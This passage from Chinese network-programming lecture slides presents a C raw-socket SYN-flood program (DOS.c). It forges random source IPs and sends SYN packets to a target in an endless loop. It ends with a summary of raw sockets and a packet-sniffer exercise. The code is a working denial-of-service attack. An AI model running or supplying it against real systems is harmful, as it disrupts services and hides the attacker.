  • 215. DOS.c/******* 发送炸弹的实现 *********/ void send_tcp(int sockfd,struct sockaddr_in *addr) { char buffer[100]; // 用来放置我们的数据包 struct ip *ip; struct tcphdr *tcp; int head_len; //我们的数据包实际上没有任何内容, //所以长度就是两个结构的长度 head_len=sizeof(struct ip)+sizeof(struct tcphdr); bzero(buffer,100);
  • 216. DOS.c// 填充IP数据包的头部 ip=(struct ip *)buffer; ip->ip_v=IPVERSION; // 版本一般的是 4 ip->ip_hl=sizeof(struct ip)>>2; //IP数据包的头部长度 ip->ip_tos=0; // 服务类型 ip->ip_len=htons(head_len); // IP数据包的长度 ip->ip_id=0; // 让系统去填写吧 ip->ip_off=0; // 和上面一样,省点时间 ip->ip_ttl=MAXTTL; // 最长的时间 255 ip->ip_p=IPPROTO_TCP; // 我们要发的是 TCP包 ip->ip_sum=0; // 校验和让系统去做 ip->ip_dst=addr->sin_addr; // 我们攻击的对象
  • 217. DOS.c// 开始填写TCP数据包 tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); tcp->source=htons(LOCALPORT); tcp->dest=addr->sin_port; // 目的端口 tcp->seq=random(); tcp->ack_seq=0; tcp->doff=5; tcp->syn=1; // 我要建立连接 tcp->check=0;
  • 218. DOS.cwhile(1) { // 你不知道我是从那里来的,慢慢的去等吧! ip->ip_src.s_addr=random(); //校验头部 tcp->check=check_sum((unsigned short *)tcp, sizeof(struct tcphdr)); sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); } }
  • 219. DOS.c/* 下面是首部校验和的算法 */ unsigned short check_sum(unsigned short *addr,int len) { register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); }
  • 220. 总结 原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出去. 而现在是我们自己创建各个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源IP地址,所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由系统来创建的.
  • 221. 练习课后思考题 一个网络层嗅探器 捕获一个IP包,从proto字段可得下面封装的是什么协议的数据包。 嗅探器可以打印出捕获包的源IP、目的IP、源端口、目的端口、协议类型、数据等信息。